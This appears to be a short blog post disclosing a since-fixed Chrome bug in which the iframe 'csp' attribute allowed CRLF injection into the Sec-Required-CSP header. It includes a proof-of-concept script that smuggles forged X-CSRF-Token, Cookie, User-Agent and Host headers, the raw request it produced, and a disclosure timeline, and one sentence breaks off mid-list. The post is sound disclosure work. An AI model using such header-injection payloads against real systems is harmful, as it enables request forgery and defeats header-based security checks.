In this short note I’ll describe a bug I found in Chrome recently. It allowed to set arbitrary headers in cross-domain requests. @insertScript recently found a very similar bug in Adobe Reader plugin but it turns out you can still expect those bugs in browsers themselves.
Why is it serious? Because you can use it to inject any request headers, including ones on which security decisions are based, like
I recently stumbled upon a new property of
<iframe> element I’ve not been aware of before. The property is called
csp. As you can guess, it accepts a CSP policy. Let’s check it:
So what does it actually do? When you set src for the iframe, the following request will be generated:
GET / HTTP/1.1 Host: www.google.com upgrade-insecure-requests: 1 sec-required-csp: script-src google.com user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 accept-encoding: gzip, deflate, br accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 cookie: [...]
There’s a new
Sec-Required-CSP header whose value is equal to the csp attribute set earlier. The name of the header makes it easy to google that we’re dealing with CSP Embedded Enforcement. In short, it is a mechanism for web developers that they can ask nicely embedded content for a specific CSP policy. The embedded content may accept it or reject; in the second case the page won’t be rendered.
Anyway, going back to the
csp attribute: since its value is reflected in request header, it basically calls for CRLF injection. Let’s try it:
<!DOCTYPE html><meta charset="utf-8" /> . <script> const ifr = document.createElement("iframe"); ifr.src = "http://bntk.pl/"; ifr.csp = "script-src\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google"; document.body.appendChild(ifr); </script>
And it generated a request:
GET / HTTP/1.1 Host: absolutely-random-host.google Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Required-CSP: script-src X-CSRF-Token: 1234 User-Agent: Firefox Cookie: abc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
This was pretty bad!
- May 23 - bug reported
- May 25 - bug fixed
- June 6 - fixed in stable Chrome
- June 20 - disclosure